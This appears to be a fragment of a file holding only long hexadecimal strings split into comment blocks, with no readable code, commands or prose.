6c389d7d2cf89021beb72576ae2a7bc2b0dc142bd25b7a2c96f73a5100030e257585d5fe687eb946695f888cca2805ca28c3a315e4eb90844b36249e52880bf92acce42a3fc6e1d33a678902ca328198c31a30cc4c027459dae57b20f40195722286e23351dda99a5aae0f398700aaff207470a6849412dd18a5056d61a7fd05f152d9e0b2172784ef2e8422b8b25ec3dfcf8ab887f55abdc293499490b06ffb5fc510ee066619ee9691f74bb88434f54519c1ab4bee1341529f2f8c6802effeb4b7732d1e865a8d06fe5771cbe2ece05bc7c72a6a36270b5006fa7cb6c18bfb1b6209756953e4c5731a5a5f8446132aeb2ea0a9c43cd88d05f0b521ac9e96ac73550d775f11751c30e5c52f35930f452f80db768817aed763075d98e2070fa4719912ea32aade5a19b5b54fe044e8614206055d5ffd8f4db4f5f67fc97f35d1107fce5d18655a94ce11800898294b52d6d6328f9ed8c38038b83d0451b695b2a9b228e0764ee072fb6150d9d7db294543d10d7c110bea31bc8c3ace4da24123169e410090f9731e808c110107274ae3525859b5277004018921a6ad54a377ae1162d7b2ced4ec5790dac853e72623065c1ef3bff7fa97c6d013b42697200b7025fda13c2fca6f6077639dbaaf8c6985d0db899705ad03249ad71a4e51c84c0a9cf245aa2af05863d8fc981a6d4182cad96bc9a9dabfe8b5786fa43626b058330b0e7bf44098dcfd8cc765c1ca0dd71af5efc011ea97d7aa2712009636ce05e93d5a69fe1f81a074e636dff55a2d45c3af7fe19f2efaddce4444ba09fa6d41704ae40a50d7a4c4b32aa3ef747088bde6e58540452f5c077c48de40e072585d24b169c2288031f7e59ae7615fd8a8990fe2873a5d8df52dc1211a0e1c8e989a4cda6ae75d39a130cdb17b9e34ebbfceeed701c75d55d7bb1442b82db03ae8a85f75a9b1edb13023916298c42d240792559ff2d6290a2effbbd52700bc6597c4c166d872a00f0441c71c290b789a8e3bcf79d66d8bd8000c125c63e89e4be4d70d489c7391c6aa1338fbc99f45863adee31511b708bb4f9497dd56c688f7bdb145787b2f5c71a4b5b3c509b4eee1dc559845dc8f1787dfc943f592cb63b153a4e24785caeb88eab869dae0d98a773b87499851a395f5d0f1c8c3f83dd8913b79afb422c289ad0d239440213bffa9154f72b3ea8eeff9ca6a8f5c4861079e762d20d9c1f6d70d8e462677737ba699755c6fcc11fe4610d25a8d58709ebdae46e0f91867d2c6a2b3d359f3d95b4dfc90ed30d983c88ac753d8ca*/
/*7a0949f698b55e44d6f70f85157d55b355b7187320451a39a94199af02e03bdc1a9847ad360d23806f82dadb979e0ab8ff59783626409308a53b5e69facb2ef0eb0bfdb538015bdf0e72986e424a4892c2e197ab59c28d0fe6430a9755908a408e650398b0181ff681e0af0b6e9c57c35e5d495009096243d118ed8855b1d96de4e397c279d0c5255f0c7e74c2fca1f4bad38f1cc750b4998dc713de7360401e91d87e45c9b46e798c6dee3a496f2a82c840bcc5f43e5cf3f592e1945f93c6e351a9c389ac019e7dd94d10c9d2efc8db329937acc87374ad7b6109b62f66d584d068c88783475174005062cef69c55ff9e3d237c608545a8c4b7f123911213a1557ea3ea10639f7fa1031c5e268ab9004a00728fb6668d8d12b8394359be22b88d0d660c968599cdd5ba99c43176a96c4820bf0eeb837ff99f3f18568048f3578800bd39b653d118feeb38a4a7f40f37a023bb33e4c11fcb96a36f095087c1904a36dd77a757a14bff0566571a0b5fe5e890b33739ac625e207a0ae758a8693812dffabf6eda07a124cbd13b8a42d807e535231130e1c66b817d247f167f0a288938a1fb6458e9a7b74fbcfa0c5176e35d3c3cc0f002c993749ac4b7c67f0c45afbfb99aa24366a2c4e985276e91d0375aab3461d77006c6724eb9c9672503ccd5fb3a6f1041de9f0ff5daf030504f39662f9bbdef18c8f2a9f444566fbb1dd8421ccf479cfb5d78bea74af7469d1918325be20e306b89149e0ab911f3ccb25d4c06165fa6df9a75ea7f692584e65edcefbe6f7a6b474207676b45dab5f9bc162a620322dfbc91679e9d2ff4e5af5e988a310a289669f9bb31e115d4131bb3e544719341f9ba2fa328b99d1d3bbed84c8343c10683991fd6805a82772f646136b64ebccebb7901562b2ac187e2123e7790b1adc32379825f4b2e8e7370f45f95b987f55d74cf35a1a744a5ab2309699abb539da128ed8685cc91bff5279231ff02bb74ce9058bcd1ef3a1ebba1206a7b38ceac9c65bcbe21fe6fb63854ef6bb693290f870e33e4f9b4418de0167da89f28efea36142d5a22b52fb3a3521bf435bae344409c868a78b58f2a7acc4c592c45b6be601670d1c3b0229f7fbbc67a3db0a1459992774421838950ef3c7728869b223fd6c533ad9dbc51858f30b6e16c2fff029ce235f26a750d0065ced3b6512b08ae627db8b239e6761ac7fefd8973f7d2965fc46430b59ec244522c2f88efb740a79cb78ef23f1b98cdc04c0756e745aa89f41c0fc852e5e1aac141c463ab267084fe72895b68b32e4ca17cf3dd518ca90faa50ad6bb16eaf9705f56f6b26695c3db7650d9ab6642740897e09baaedbcec95cb62f169eef17383855f3326bf324161b87d5868d6371888c5edaf23710550ce617c9082119bc0ae34d870e5003b9cacc9a8577c0b807da58f8478a0a1ce40cf433d0a5a8eab9093c711f83b63b33650cd13cc520efaca4662776f39136f37b2190159768db58d42ec8e114c82efca762faa76f9589595b0155648d9171f4a6eea50c0946201ac36439d5de4c7d7ee90cd7064ade3d01d786d4408276f12088281fc5028e7baa93517e6cbba2183ea829517ea1b11098deabbdec36822324859682706b304a30358c105af9dbc034cff665553665409e6b924eee61a7a8e22b2cf6b5d4c7cfb39babc4d2a51d8b646f092c587d37b9a9009a1dfa331797d1786a5efbb5ff51d9060dcbae3b497f934e1990401a1956542f280647b95ff24c5f14f14cac1cdb226675d113b783981feacb473892ef308edb735da09d2a6131967809110ee4a2e528a9d32dc7ad4f5691992e52c09234af4293a4e4823cc9e02310ce53b9e8146fac446cb72279303ab6143c03d0bce038d53e94dae673bf641b074b022c238ae0509de41fa15ab41d79451dd2b617c0b78c75065081a3a52e62586682b9b7b5fb6b01177aebece0530c45e5d4084bc86a7f6b4c1231ac75a92db8d339125d6f5ebfaba3d5ad0202db7c7b748b2e515a473bceed75d1e4523abd9a51bda3fda96678102ecde082782624ae7d90ff2ffd16e62d7108028898f60d46456718e5f2cfe9351688abd28fc726f6ad4ab01c397f3b4c714d615aa7de5b278152e195c8ebfbab4678bfcdd60cd4d1314c6b32e0d25ccd049088faa3138b91b26c7045ff6e39a350c2b752c83789b73f35bdb7fff6a8bd955fb3207d23f9fb8cc6b22fa88a7413f9a91ad8db5bddb63d412f6daf5014cd5021bac631ff19a2eb2df43aa8ee5a0c0511d3ab24fb3ffd5b67b0222d1a1dbc09f14a13779e63ab417130a49e61e28d8c5d7f43ea00118cacf7b122137a330b688bb6dfe6a90ebf2eb5038873935c455ba7bbec0b58073a5bfceb95f358a69ef47b7629b53bebb0add0630cb03b878848dda3328234ce480be64e2308c31b5af1ecf3a3f534646df73eb9c5775b7cebb55dd091a42d2949b1c9a4353c3549639add1cb9ccb779d146c82c17798d012f739e6308de0effbe0a6faaa77984c8e0ee9e0c6e618461bd4d08421f47cd8f3b8419e50a79ee216f50173f168b0cff7b3e2017a7b1769a932dd5df6c3cad05b1d8ec6d356117cbc8e650c84250d06e3b0bd80d320a3971e4bc28304c96e24968833bba9cb7c58ce406e1bec5b43cc7571bb915528723b5200e0a7ebbadd8b9d6030d38c0ba878d6d94c1e894f78dd101022b041c7abc57e4c95e1648cb72ff15840ae28cd57df1205f71fa7aa9d41831f5ec896debaf766c89492a0019f47341d19f1e7ceb2efa8e62238b6adb736483011f8f32bee5505b95f7b895325e111cc47723a2*/
/*dc11efb716970478e126e28efda9408daf26cef450725c1c4d6f837b1372aa9a57ca6982e1f607aaa82c02c33e5a013a5f453a7b002728b49bed94c8075e429460067c205dc79a2f92c59920f919e3f2f889b2018ef868e836bc1d45f28fb8206fae1f7aef0e51d8fc68ec86e1753c2b8c5b92d6b22f4c5572e96422eb88a9f9025e5d568bba6e27f88ced90e5ffdb90608bb669fbc2e3e2ccf38d265b17a2d1a688e8fad1b3b60b575f91ebd954c734b413c2bbbe2159213039aa08b2dbcb37a74b0705a111ad5489a6f892c737f7cc8ca0620c7ed208681065e7c8fe9522809457ae3cdccaf59ef81d4b507953e9ff79b7a5fdbf9ddb0fb08f295db1a26b352b28713f23c4deca86b24084ed2c5e627a65a959a34ae369fe8d99ccc6a8c6d48a31ac8a5e4ef2fe908d2e14f5684a44eb88489753cfe57d6c0ca6262f4fc8faa5115fa156da899bd934c8ad9407f102e1a49321b3c9fea7186d5a559bc4e27a182c69d95a6d9ac0154a650b2d5a1e57bfceb2495584af4503ad370048857ae355cd29e6b87bb2b3108c39d59149910c9df23475388e9ccc1fd6b2a7e042b2acd787f746ce0ec235bd3f67dd367b04ba1b44fbd62fea4f327be05cdf9d86e0a88d07744374a4454902cc11b87f953db0fbb40aa3fcf926b7cc86ba0dc48d6d61d155cc399a2b60be2e9b49d9fc31a2eceeb6e35ea62cdb5e97f72959c6b6b596b93c2ac50bc44b70fb1cfb4f79c5f0e2abcece6bd6454d0eed11a3067bfe53efb4d9143249da97c2d2e44472238e07ab1e33666693495c5ff7533515a79a0d7dd6ed08943a68ff948b1a7b37aa670b45c2b5ac1d4d349216ae3aa211c20b5936137e78c684f525fa5d14e72b5b9b8ea1a149743814e9da304c75466f7c712b7f1a646bc3639a07b0359d54c058c8cb006592316d7cf515013a2d2312cf20fbcf03fb9d0564649f19f8cf4ba92529e16e6176b72bfd00f72e68d0cca715bc1ccd48ae2780c5bbd779fa9687d390fad5bf55041e257233e8c15f7de8c0c9f08831008acff28984f956d452f02afefb7287377b4bfd92661e3aff2f141cc3ae470f6c1e3a1e2c4f59aef143eba32bee9b9ce2d6ddb8311b63b39658e2a60267ac4de26bfd69fbaae591d9c0d2f2ac168c456afbe7da92e98ad69ab94d6699f30defdba7133156279627039be93473c4a5a415bc4d31c24f6cbc80986473418541e26208d90729e3489fdc730dc92a7696e568733ecc6bec903400062a37c804852f37bf466fadbddff713e2e87e6f853af471ce5273eed76fc2836aad1e0263ec500c07ac6e7b9c8eeef021f7971280c207fbde3b0c4592d6a0ff09cae6c5ae7bed23ad3238d8d79574ca82a41bc99ccdc44c4078097ce9bcaac43cab93a05eefb2a2b128d357d2717cb2db9cfce339f77bdaf70cfa176ad808596f40558d005c624b95f1b58b851de39611db90628724eedf47d606a6319270fe2df794e1f52a3415d63aa751d0e69e3783e4b60fbdbeee8456918ca2644374081e516501dc874e4dbf4c8cb41a726cefa7ef2f6aa38cd9713770c23edf4857a101caa867c686495858c76d481eb08353a6bddb7bd59fcd9319455177622b22d4bd8a6e00269b7a9f285a31b050762acec6dd5ab4ab1906adf9dbe747a9dce90edcb0f38e2ca17c4d76a4cf355993a8a061ef387f21485adad926e0b94a2c8a9b3967fbe1c09eeed01ec4d9dca0ed25352983a80e8bc738e26fd850b8cd786cd252ec07b7accb4cbf33ac560e16ea0efc53e8828f8149b1485a54b2bc3f55598dc1f16cefd364a37c5aac6341b8d20ad5ffd00f2befb414b28e7eafda06886a8505d18c1c8e24182bb350aa8ca1754b84831c4f5ad28bcc691ebd8eecf1fbef347f5e87eede53c315d91dc8996884adf23a8779d75ff9dd81007f7b423962cb7b6b11005ddaeadae7c85067f929988b71c946b62536d985852635057d3923049f1bc83f31ae9d6e90b9ef247a3ce62265e80b868b1145aa9bfe3d981f047e6dc7304712751213c296d64c89c5bbf918d905181d6db17433db31a0d06689dd7e8f50e82f733e1df272d0829d1e60b0ee3ab5b15aad80d5f96080e0bc17991765d8cbebc4a5b5736639bbe494f56da618644ac9eb2520daee8ce21d08b451647f3b3a4a124a1e89e56327c663f21ff07b6667baab20c69c1da57d76c7567b5c8dc8c365a416f245dc70f1260e960213f7fd352d4f0ab3347140975b920f11d8337a93d579ae714cfbc0f27fbe6f5b5931e25d9b4a5c2ab2ff42f00c2bdb1a73f6e366fee35979e768aa650119ed52318bac037b8960b67510c5fa6d4ca95317bd5d83d0942054438bc63a5178da123c69879684682bf338fd45fa9537a089afb790c2d6d68badd4946d328812357c49108d36c656c93b014f0ba4df651600edb59225171689aff496001598304cc45347cb6dc099241861466b463d5b0dfd7c29c5066f699bff57ca1365b2c7729ce47b23085c2233e389a7f933c4433d0744b0b6a3c33432170e1f012ba38e91c1bbdfbb74e1d5211a55cead362cf4dc5a27adda98ec435bcb20f1929ffe94c15927a24b9cf2b4412216e96aa90cb79be81bb664fb45713241247d217603489b117df81c50cccfecbfa42d98c3fdd36c3b8f1c9dfe99e0bf0094df00e9ebba066ece6104bc507f8c10edf20d178eb5b3e0542ee04c0340cd4e5f4da4da6431699c0e69f9136d03721e7e2161649761b88061a0db675a7ef5d1827e5a3bb7822f24a78ea7c09303569af50da7270883a7731945202bfb91cd5a4373252bdbf585c4b49e0a7d6e383c68be96*/
/*3755708d702be3ff4e964edc259c3f618e60bd46b54f5d25c63f9b23ef94b7ec048072bc9c9a99ec64ed42a714ca9acb2ed372250243e94f9ea2c2d8926951c8cae453f0e5b0f5e5ac52a9d6dd72dd4b5ae6efb4254fcd1160bfb4e76b1140c473d9affac3eb98b740258091a0717a2587b790ee2e85f6ce7263d5ce30dfc1a35a8bf5478202141e7e11aad2d5ed85eeb945c9f487a57dae211afbd9d67a0b0f8eb9a937121dfcc11275dee578a091e83aa0542bf4d7e8dbdfb23fd4eff9b48916b2b163cbdadb10db0fb3006952ba961b41058b820eeafb22895ea26bf875a1f432d38894319897efdeb76b7d2cb9b2697a162d17a28c62fe79b5beaaf99e6835aa1bf35e0beaad6c5d66de3bbd72ee33c01a1b1ba2d1578c640c8456654d8352bfa36f6cb0faf8c5a7cf01d3bd004416848abeef01afa50b8fd139b7f5c95dffcb974a91252d7a4967bb0b7f46c5730b1d446590a5e015619f50d3a9165954e3541592a458b3c95ff4fc3450baa0129d1306b7e7e2b0f653c52f36096ab1aafea061383e2d436244dba15d0cb72d441cc724c2ccb9745627f230e105ae281859201fe6418360e308600458e160975e734227b53eee364f48c72683c59454a5007df5e134b2cbf028eb200055c3f5568cf1569e7b35f8df47b6ec09414ffbcd48964b0394b87eaff7401d8569af8f74de32c840a5f47c5d173227fb328f429d96f746820db9fad5c227abccdaf1cfd0460bfd77f8acfc68a6da428ae31e979395723aee6f99543032a78a3c8ad794035e9e97f996618080b16642990c1e0b8755d457359f63405953c1bac5d965e8a24a100dcce63f0935083b0cbd568047078ee46e9e9087da56e876fa63b62eea5f7f59863dd358d533d0c7fd5b6ff66d4a92d4c239c6386aa4954530d0ab0ae81fb749dc693e6832d9988d79d913344b3aa0216860884a9e6dcfa8eb8e6782f23c863446437117221b47701cb45865e67842ec2261548d0dfa5c47fd614de7d4ec11888cc63891f51b7d692d3b7a46e8a0add61f6e6ed01f92fc25f9c7788465b19081587325de77dda8523e40d6155f8f3d4c57530da9b1ea157df7e447895218a87ba6bc37d553b8be85f7dfe0692f61bcb916a787b7a21ed5a19b51567fee271734c960a2d06755fbe5497c61a8ee07df490c8b837b860cd900413dc7247f111473f66fc5dc0ab18b54d1d29d400feeb47bc19ccaeff2b4a2b95926dde71295e3ec03f652c9fef95448fd7ad4f41fe0eb7bc231ccc82aa7c217f9b6313d562ab51fb3b726285e01650931edb59ca161fc7835185b79edfae60c5ef99579f3a5beccf27e785cc8b686bab823effc832e2b810593c6c8bf5b464cdc9fe5a577ac3d6b8cd3311ef27dfb5d5c98a6c2158e6194f155d6702d0b8e5634e80c6f24e5aa9d3d87af8b7565e49184aa481ce5ed23bf326eb530f1f4302ffb8848f246f517773d252d4c25b2c30c01ea5f539958e6725381d69da1ed200906701f6fac1dd819f1a8e5e67ed52dca9bf8439c93bbe564c1b0a2e411d25aef0f437df495fdc2554d22eedf75f5ec16881ec0c31028e38328ce1d1793b0d29c24990cfbc1609036bbe895e81f028b871e7ddfd785c679c9c55e6cf64e0ecd8386c358a8cc0551ac9f29146fa606b05fa91db4581d7340c3aeab41db609b642c7d65108522e6db7bf0195df641d08db41eab5365a80a4b662e763af2ea170c2fc18e544c8e40d4853ff02bbbd6c563f11704f92b5167251671369ccd593ed9c5bfc3b95b35359791b8190f96b25741617edabac5526c6d8e8872c78cb2b1ba42579a4dcd464a94dd3a102cd8576b25ca005c847389a141277b9b5953a5c92fd1b1edfbd037a61833289675d74c65b3d6102c558a892acb9c6b063a7dd269809d965a9b3f671ba8a967a17dc4df4f35268f624539bf645c825d01508090e1d161e7f4294fbd50bf74b6cbaff2c51dae24e934a0afbc40a4599d8c080b1939359563c0fecc2b41c6b2867ba41d21eec525b18a9c6b0e2cb5d6d67d6e8002545b5314551602e9a17ddf67c5f30b0f6f7ebe99e44a2db8611fc2c80b4d438d472e7c30adb8e0a29bf871f2cf860a2e01de610a7bb024208579ef9aeb9767b25446177b3d1ab55aef1a40a04e1b84e84939eee6a9e5091ec15ba09d5fabcb8d7b82760df2f587f2a41f240fdb7fa8657828c02c9b3060eea679af83752088ea0862d77da290bdf4ca6458cc4ae04a86eb43ca5d84e0545e657040d7539da6c0aa2f9500692c90c12b2955b28c59cad394d173abe59171a8b22a4af960f3f440c32678b6f22b990b19d68a788a907ce2e675ed7ad226cccc94610063564da798d542a6dd2a65c9d280f967d7e1e20f31dd5032a094bb74c0523be3d216200dfc7d5f77c4cd7fd9c8e07fdd836c44a87952c819250aedbf530f3577ede7744da40c78f858c4cddb16c7654969e148c9de26538c9cfe89d673388e61f6ef31b54d8fb2d23a4681554966dc0b94448c6bb9f7769d69132b0d1d6ccc20bc80267bb7490d08951b108a280e90bda9c0ada39aee91a28f29aef6a4dafceee7eaedc4f8cae40b0b338fefec3eedec66f9dc7f279f89ed5caa1cce8f3068f15c4d2ba465d9ae3e7481e05381efe8f29f439d3e1d99c5b5a40dbfa95f793bbee1e998b9c5333f4464c907b91143c8515ee5956c8b4e44323182fc9d35d1f730882fdcfba1972ddf690d88c264c9f7db3ea9e1d5926a3bdf4fe697939272fe6f2dcbc5a7884ecb796c263cfd660492128a969ec207eb4e0073a0e9572ffb4660d8f471d61136f3900571a48a1766*/
/*6513f1abb70091235669fbddd3b467bdc158aaf0336664d1bae6d8dbe66e36a966f9aba510843104957505fae8acdcaff7f1ee729498b23148b48ef12cf2bf28dd6b42172379deef09dc3d12dea19cf91615ec83998b7059f9b0510f3c7de6e8f7ed86b04f7988981c162770201e1830a0487f4075740067503baf4a8df25264b77468e1953b2052e0f019ff1910db730ae5a361aec620eab1f60089b6adf357c4c362ef47aead9e155ace8a265521873d9478b9be4bc7870159207f63ccd5416716cf1a8bfdd89f49dec13644b18856c0ac4311a20a2dfa9efeca1053bca7f8127fd712813010e420786aee1002809133cf136484488d4e4f3da71bf20cfe17bbba58182609a9ee41ba1c741995a30e99feb99beb8252231a5cc2941cf7a9e5632369f448d90e02e985da86f1c5d255a21cef9c78d0e6099ed5fc98b2df005ac832add7b6f7da08cb31195639a502b20ec8ccdb6ce0ec87bc981ba0eecadaa41ad536e125fad5cd35b4d1e57e5a6bade5529d01b2fd908224f2b09b6fe7839570d56d291a65d71e1335f52b49ffc98db6377e1ad4cb87c20af1fdd25bd4af6996835b78bae6048d98a0b051cfd04ba478e2e7940b6592c904b11665b0c8140813aaf6020cebdd6bba4371ff60767e2689de6fe1ec6808bacbee5e8918c90d8638047e6336c04100eddfd07be11ec84dbcae4222cdbddb4fece241526ea815b98d76f03009f0a9a3624ea2f05ff2cc3ded112cf233d9089f943523265355cfc72a5475ca7cc0afd94cbe0dfd57b252e1ba2fb397bb0b6a0ecdbe60a6d63f5b45532136716dbaada0da7a85f0505eeaea9ba5b293173d2d26d12984e9ebcd9b0a29e0a9f25b43e29637838b9703a9a7fa18ddfcc880cbe228a2c131201cb4c150ee969b505143341af3c77e8357a622ad66d26daa066932ccfe6a85067a8d8967c49831d444a0b88892c555082ad37e49de530d4ee0c94dd4a0e9be9454ff6840ffee08b06495f7cbe0a2b5ab3d38e2723edbc41d608719ea1df64197a6c4ccb2542eacb3309c7da30cf1d2637e3d83e3edd581e33044a6e04369fa510af4218b91e5469c969a1651384e40fcd321d3a8aeab4929c12ed84a6d72102a9e0655d15cac6e91877b536495ebc4e8aa99efa993c1e25fa347140f62ef74247bb4730b50a120771e4be7574ecfd2073aa3dbcda84ff635f8ba37d1d5b6f56f13fb2eae7a8b215adddff850c01d2a99ac34c5009e209c4e21b16e442312fd7adef91509fc93e0b4844149722f98c10ff50432c35d29ed00a0560a2111509fd1b9f47689cdc64139935691f4246d9cc2f2269753d350016b5ad881baa2e4a7ddaccd49dc77a5d8ec6bca0a608b94276057adfb2c0cc49c42b1da82c46f70582f8fc409625779d214eb3901775f4c7bf79a90d05068b0e8465fa5555ba136c575771177660a2f6f567dbfda7dc56030e54c1c363be62fac3deecb37f6a1ac0a877bf0431c5d207170bc3d722d6028b239a8cddb27061d03fa039a97f5193f00d3f7771a1cc50290fcbc9007bcb53b51a5b9eb764085df35dc1c2bf60e2f55418b4724d987dd40bdea636a7b0c7f0943d1375965dc0ff2ed07da3f2c4783f935c2ce84993b7c9eb2a1685aea6b1bd47401e1e12cfb7eb8c02413954a781c6b8fac9359081fc6ba7eb1564a2d9ea1a543dccfd99428b830fd0b11e608699c6b4412ba3b532ca12e75a4e48f72f4717f5cd865bf5947e40d9a69145a7d523ed2010b6272651e0b318b2bb21795b1441917e1a9e59cdfde2cda20a4c88840244842cd48324c798ee38f16db2e78059e3762ace8e9afc5f44ed6d38b034b7e305e10270fa6924af343df5e5aedcdd09b8282e1a904665b549125778a1f43f13bb65e8e6ee3b817fa45c84bd7f8628f636eadc76a7d21b56fe0e1749a5c293c1b7020ea0771eb17ce68e162cf601bfbf4fbde4bda7721374e4be934e6ea4ad17c8bd27df3a0ac61d94d79862ceaa992469fc6f1ca00f7a37d3329f5c6bc845951fcbe8383bd70a7eff2c1801d33ebc90ccaefd34911172b5d93eb26f1e86d7ef0165ec1ba6a70472e05d73920634df3fe899aef47957c0cf880535aed40701c82c06c51d895e1ce8d87fe52f0698a62ce2f414b81e3acba7d85a47bd6dc6f43bb83622ff8674e924506b49d64363917b82887317c74a8da4a03a7030b8de21b7a33925c8719735f64fd3356e248e95b65e19e7aa6d75dde85903eee2ae25f9fe56a74b37b4b366f75438e8da6cfed8cb8f100191675a447d461223cc739578e8f479e529b494e693cc996304c0da6a6d214c400887b05e9fd23c0332215315832cc3c74b9266dbf0c114def5d129e4e4fe423fc5f5ac60185fe9a7bfaebded2a0fea2a523bbe31758d1a34afeab806964444d13c7ee6d4582487edde16f60e5bbd2ebacfd1fdc2ee18e8697cdf761debe65ce498fc7eb12b07eb7066f3c3d794cf37831e1148fe7e7c24036e30269a9e0bcc49ce514a4343fdbbe236853d85650f4cb8a8589479e2eb2dd2de35efd70cc486eea2922c06c1565ade475dca68872c31728772e917477eac133475fd1bbad4790d94e6ff82eb7128de6a7e6280041feb3fc9072f5373f4fcd4490e16a94d7d20d292cc3452438078762b1d8107897accd7fc19758290a05fa50ddb4ab79346ec905065fa137e9d92fbf3988c433a1ef51b663951fabb489dde4e20594875f7d8d10c01818a64de8aaae11fcdcf81716e440a9abca7ff955cd3004dfe700bb0f62ca238a021cd4a4674f04c274761e15ad325d4d2a8cf9e1415bd08dc8a19dea573e0bc4011e*/
/*191e920f697d12d276688401a4c509bd2ff419d7e5ff2ba19ba4507f46615f846d57deb3c6da3036129b96d52454e7e4480c313dd61d27a01470e5ba20f080904e373945ed0a1a71bb108b2fed7beaf9902327fd5779cf4729e1cd0d8fbde1b26b2268f87f62c5c803979994616e9e3c8ccbd3f36be8513a3ef21dae86ab92bbc8cfea4365e85e06d3aad04e10b49b384d0779adaa78826375a65d3a85e505b0e0c17bbbbb9e713c9d68c0d764835bdc60982501a682f07609f470ecfecd34e84db7484bc3fbe025c2b980f6824b2ac33f487371ea413d7ce268ed65a18bc520ecd5a2bddc9c0fbb78d99002a6da4d03fe46067413cca51a455ea81eeffaf88be2f0791349f768c44d30a82f5766bdfbd3e33b9bcd403f7678d0bd0b70778eb68cbfaa33326304ebc7fa73bd7580f808dd358d9ea13be9bb82195161fc78be77e3c9fc17d3111daf746e644480c8f7215fcef6f6ffe97da93b03c1c48c92851db03338517c70613374eb3f9c1594ae9308f7192ba0b347ff58712882c5764028691d4fb21e77ef5e12c60233da76d866756367d819425d3185a0df9e6f9378fb63befd84c7e70e8bec32d1e40d7143eab003cbda7b6197b33ba03b2f6c4f387adc83fb2f18414ab9ad1141b711270a4c934ed1b6f8f188b4f6c89b0510cf20c8183def8cc2a4fbf54b8a311a894ccd88f03d58ea73e0a52df4b605cb8d8553ba1cc60b6f4a69e0dee926084e17c47a92ea8d2a9c958cb7bbc72809f7acf972f2fbbcc979613217812320f0942808dbaef6db0ea19565ef63da8f814eeb5297992d26ae261f7703c5cc4c674ab9abcd7301c4d05a4916622ed93b01efc5f1b8cda77989e4adbdd8599fb88ae9b60b6b209ac29f94c7978f2a97920af8472da10c179d99bc8955b3eb401b4a9dbdce156b9560fa11829b5026ad35742aebdd66a539ba8f49cc739bc002d8d4c7f85a89f68f003300d592fb1ff09e6f5b9c9cf55538923868a06e0deffb80300ea777bddd5c5f1285875a5c94f6f08817a1f3860a28b60cdd86ba2673e124d36c7bdf78cf85448bc0fb6b92379e8e0fa5fcbfb7a0440d83dbb77ff2064ffe6fa6020aaf787d8ead56dd6a4b9e266d40cb2c4c1c39242fdc6e9dc106b22080286e318b20c258e1d36c09da5d11c8e2262b3540a3e87b26de6cac5d7ffa4f62a00fd236b315bc15088a1848da810240ce5564f5f72d9abf7156286e6003a2bcd26be8145cebc4a5d920d580c3316e43baf25e7ffea1e894e36a0e4e5a4208861e893f9c2d6fa36a1f308b2d5a116bf51e3a1317628613cc6549fde5072d440018427b6cdf81aa7d2307c0eabe81021920c8feff5c341e76d0c288e1bdd5403885c8be4e0248c24be51db30ffe66d6e37da28040e6a9899ad70c8ce526a6db35b8fbcab7b081ca3cf156e7e2c276828846d8e406fa40bc6ec0336a01f7e3403d7276cdd0fd04c7776d3f32fe33c7b1f3b21d21b97a312ccab9d0df20bb35446faf527b80fe56770ab1fe7e292bbfb04ae24377a79f5d9f9cd5c8e857a5e7824a7548d2cc27befc2dc9880c3e383f538856d7187f0570c34d686687d2aaae8dee4d6756f815fd9a2e0fe9f007d067fc4b61be3de16836fc4470dcf4c891ba59ba36021aad55518204ea81c01f99093c4378dd2fd1403cf889d1c3353eac708fc375a232dfbe40f9b8c56834203c76c051c35f324f284e285001e756b79497a86219cfcda97f42265a315fd919f3c26648a2317440a7f0a3d758355b313b23e332290f200c73e999cd3d91b669a03640a30f2d24e42509e19f7a4a5f4d23d0a23458afa87bea7d84db0e87436bcce250ba69e732ac4a2a0a28cd60106b5a143eb10ae47ae67bb799178bda5bea85dbc06e129355ebece8ada39580221061cbad4cea600490eb2187a27fc44a59c4e33333b43fd774ab31c7db9def21112fec8baea8f72c314e9436887dbb0705e688c4a7f6fd7c5668d44f53fde4a7376236c34f2c863ea274807d82c11836986d5043002ffb0c32cdc645e5e3a83b1fff8adfd4cd759b015a7746dc72ad345e302de1ff6ec8dff375f742f7ae3df648f333d00308fee9a8da3b21e41228f96bbed8541f160866a9e317e9219ffe1de4422b79d9a7f3fe5aa116ee3222dc7497508a7f425e41bdfc33e0d229cdd70faff69d3f0c4cd4028b8e7db19ee6b8a85aabdc08606af96f8f118b38307a1b3fd5fde01c060a92cca316780d988ef16d12abc4c93ca49826618fe56ec58be72c91ec22392ff3c10ed02cb7803ece819ea75dc2af46b5a3e9455eb04559811fb924d0a5349e88c8bfd9089932e9d88a446f6c886650531c9f70e3fa8043a24217284c86dfab35acb2a3c14f9cce96102df06717e250824be21eaa917b746aff4797e7e9bf80f8d8d537d8c0ee300ff97defc4c6bce07bda508c60d4ce3d54b95a83de1b7815cb0fcb0a44576b45b8096672397b3dc0e04ff3f1ac3272f238e214dc5de0342583073f55d4f1225d1155e2d78416d31151d70e0cec635bf32c273e15e32135876672f459d536c788ca021d137067cd0763a39240627a6d0f78a750106001fc3d0fe436cfb0ee98b53a39d2485536ca79363e5e39b37d739ae52371db58d3be4f8723fb998064d50de06018dbc2a0da8f2f54351bf1cdf851ed0f80a7e24ad43b9aa463ef98cf2fc23c7d18b61e0f4963d9ac8a8136c5bc4b63410696b65509269379a0d8a300db2e4f79c9a41f108a3d3ead0c042cfcaa1052c26ea7ded0936c3db0ca713c8285511001468ecefcaf17de42d44011d6b0fc515676cd519fe90947af08713333*/
/*d54a435ea31a201d2f4593609ea3f8d978da0915c6c2229c8a92081f724e47f53513a4dbbb60d8df4ec0048a95acf80af5fd1d63d211636f7fec14953cf0920f4f99145e5c9e7c59f4c6c9dd5ec47b79b8345cfbc64d4ba6b1d28c199aac5c69ef20e4bbef0500912363e4bb27b514c1c910243fa91910dbccb15589703a05ff7eb09f4b92c784c2530e2fcb8c5171bfb361d2f2c4cd1d2298097e9ecb4e0f7c0c4d54a7c58e531049bb2cbab1a80dbe9a69ae548afe1f91e4c7a1c4c1661c641c640c68cc6d97b4da9925daa5bcef392e131500c6e032fdcc8cffdfe1c8ca05abc59fc7eea7f71ec5acf05f685a7bc868c0ea78792fb3e7ec292128716969c845daefa4af2e5eae2f397ce4a000bf45015622969e614b014923f7549dce14ec2f2d1e3437543c97692ea069d868425fbf50e5824d0c5405ecbfdf35336215b930401b06fbeb2dff189747d69a5ff552bd93b8a9f2a411db4863ee2cb8094861693af9618442a45b3f6806b6555da809e2e6c8c9da14aae483037e6e9435794125d0f3e7fe30836710267fac8e69e63e70f083013838a6f6042a35c5b6d4398b8e8e006a9b4276e4834f3370cac0b1338e44bdb33f896dc92444b59d4fb6369be6f600fc1c99ce06f5e519608878800e1eb2fcd5817b056f0b54de06058bffad28424df48238ff93bcbeb056a7f13c7ffa6641e8339445b362b16a10c06d4313cb6c0a319fbf2debac2f807dae04d6b88fd0a3b0438c482644a1dc7dc1086